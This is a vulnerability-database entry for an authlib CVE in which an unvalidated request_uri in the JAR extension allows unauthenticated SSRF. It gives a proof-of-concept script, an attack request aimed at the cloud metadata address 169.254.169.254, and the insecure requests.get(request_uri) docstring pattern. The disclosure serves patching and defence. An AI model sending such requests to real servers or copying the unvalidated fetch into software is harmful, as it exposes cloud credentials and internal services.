Skip to main content
VulnerabilityPublished

CVE-2026-114620: Authlib · Unvalidated request_uri fetch in JWT-secured authorization request (JAR) leading to SSRF

Affects authlibSource GCVE Database

0
Authoritative record:CVE-2026-114620· Medium 5.4

Not known to be exploited · CVSS 5.4 Medium : upgrade to 1.9.0 when convenient.

Data as of 27 Oct 2026, 16:27 UTC

CVSS 3.1 base score
5.4Medium
How severe the flaw is on the 0–10 CVSS scale.
Patch
Available – fixed in 1.9.0
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N

Exploitation evidence

  1. Disclosed: evidence found.

    CVE published 22 Oct 2026

  2. Detectable: no evidence on record.

    No public nuclei template indexed

  3. Weaponised: no evidence on record.

    No public exploit code indexed in Metasploit or Exploit-DB

  4. Exploited in the wild: no evidence on record.

    Not in CISA KEV and no source reports exploitation

  5. Observed by OffSeq Mirage: no evidence on record.

    No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

What to do

Upgrade authlib to 1.9.0.

Affected software

ProductAffectedFixed in
PyPIauthlibAffected
  • >=1.6.0 <1.9.0
Fixed in
  • 1.9.0

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary Authlib's RFC 9101 (JAR) extension passes the attacker-controlled `request_uri` authorization parameter straight to the `get_request_object()` fetch hook with no validation, at a pre-authentication endpoint. Authlib already defines the pre-registration allowlist for this (`request_uris` client metadata and `require_request_uri_registration` server metadata) but the extension never consults it, and both docstrings instruct integrators to implement the hook as an unrestricted `requests.get(request_uri)`. Deployments following the documented pattern get an unauthenticated SSRF primitive. ### Details Verified against authlib 1.7.2 and current `main`. All line numbers below are from `authlib/oauth2/rfc9101/authorization_server.py`. The extension registers itself on the `before_get_authorization_grant` hook (lines 62-65), so it runs on every authorization request before any user or client authentication. `support_request_uri` defaults to `True` (line 58). The only gate before the sink is that `client_id` names an existing client (lines 91-103). A `client_id` is a public, non-secret identifier. The sink at line 159 forwards the raw parameter with no scheme, host, or allowlist check: ```python def _get_raw_request_object(self, request: OAuth2Request) -> str: if "request_uri" in request.payload.data: raw_request_object = self.get_request_object( request.payload.data["request_uri"] ) if not raw_request_object: raise InvalidRequestUriError(state=request.payload.state) ``` `get_request_object` is abstract (line 213, `raise NotImplementedError()` at line 225), so authlib itself performs no outbound request. The defect is that authlib supplies unvalidated attacker input to that extension point and then documents the insecure implementation twice — in the class docstring (lines 34-38) and in the hook's own docstring (lines 218-223): ```python def get_request_object(self, request_uri: str): try: return requests.get(request_uri).text except requests.Exception: return None ``` Two points sharpen this beyond a generic documentation issue: - **The allowlist already exists and is ignored.** Authlib validates `request_uris` as client metadata (`authlib/oauth2/rfc7591/claims.py:319`) and `require_request_uri_registration` as server metadata (`authlib/oauth2/rfc8414/models.py:263`). The `rfc9101` package contains zero references to either name, so the pre-registration model is never enforced at the point of use. - **RFC 9101 §10.4.1 asks for controls that are absent.** It states the server should "a) check that the value of the `request_uri` parameter does not point to an unexpected location, b) check that the media type of the response is `application/oauth-authz-req+jwt`, c) implement a timeout for obtaining the content of `request_uri`, and d) not perform recursive GET on the `request_uri`." The extension implements none of these and the documented example implements none of them either. The two failure paths are distinguishable, which supplies the inference channel for a blind SSRF: a falsy fetch result raises `InvalidRequestUriError` (`invalid_request_uri`, lines 162-163), while a successful fetch of non-JWT content raises `InvalidRequestObjectError` (`invalid_request_object`, line 186). ### PoC This demonstrates the library-level defect with no network egress required: it shows the unvalidated URI reaching the fetch hook pre-authentication. ```bash python -m venv .venv && .venv/bin/pip install authlib ``` ```python from authlib.oauth2.rfc6749.requests import BasicOAuth2Payload, OAuth2Request from authlib.oauth2.rfc9101 import JWTAuthenticationRequest reached = [] class Extension(JWTAuthenticationRequest): def get_request_object(self, request_uri): reached.append(request_uri) # the docstring puts requests.get(request_uri) here return None def resolve_client_public_key(self, client): return {"keys": []} def get_server_metadata(self): return {} def get_client_require_signed_request_object(self, client): return False class AuthorizationServer: def query_client(self, client_id): return object() uri = "http://169.254.169.254/latest/meta-data/" request = OAuth2Request("GET", "https://as.example/authorize") request.payload = BasicOAuth2Payload({"client_id": "demo", "request_uri": uri}) try: Extension().parse_authorization_request(AuthorizationServer(), request) except Exception as exc: print("error:", type(exc).__name__) print("fetch hook received:", reached) ``` Output on authlib 1.7.2: ```text error: InvalidRequestUriError fetch hook received: ['http://169.254.169.254/latest/meta-data/'] ``` Against a deployment that used the docstring implementation, the equivalent unauthenticated request is: ```text GET /authorize?response_type=code&client_id=demo&request_uri=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F ``` Returning a fetched

References

Community reviews

Loading reviews…